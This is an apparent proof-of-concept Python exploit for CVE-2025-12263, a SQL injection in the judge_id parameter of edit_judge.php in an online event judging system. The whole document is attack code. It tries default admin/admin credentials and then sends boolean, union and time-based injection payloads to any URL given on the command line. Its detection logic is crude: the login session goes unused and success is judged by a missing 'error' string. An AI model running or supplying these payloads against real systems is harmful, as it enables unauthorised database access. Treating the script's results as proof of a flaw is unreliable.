CVE-2025-12263: code-projects Online Event Judging System SQL注入漏洞

import requests import sys # CVE-2025-12263 SQL Injection PoC # Target: code-projects Online Event Judging System 1.0 # File: /edit_judge.php # Parameter: judge_id def exploit_sqli(target_url, judge_id_payload): """ Exploit SQL injection in judge_id parameter """ # Construct the vulnerable URL exploit_url = f"{target_url}/edit_judge.php?judge_id={judge_id_payload}" try: response = requests.get(exploit_url, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"Error: {e}") return None def basic_auth_bypass(target_url): """ Basic authentication bypass to access the vulnerable endpoint """ # Try to access with default credentials or low-privilege account session = requests.Session() login_url = f"{target_url}/login.php" # Default credentials test credentials = { 'username': 'admin', 'password': 'admin' } try: session.post(login_url, data=credentials) return session except: return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12263.py <target_url>") print("Example: python cve-2025-12263.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') # Test basic auth bypass session = basic_auth_bypass(target) if session: print("[+] Authentication successful") else: print("[-] Authentication failed") # SQL Injection payload examples payloads = [ "1' OR '1'='1", # Basic boolean-based "1' UNION SELECT 1,2,3--", # Union-based injection "1' AND SLEEP(5)--", # Time-based blind "1' AND 1=1--", # Boolean test true "1' AND 1=2--", # Boolean test false ] print("\n[*] Testing SQL injection payloads...") for payload in payloads: print(f"[*] Testing: {payload}") result = exploit_sqli(target, payload) if result and 'error' not in result.lower(): print(f"[+] Potential vulnerability confirmed with payload: {payload}") break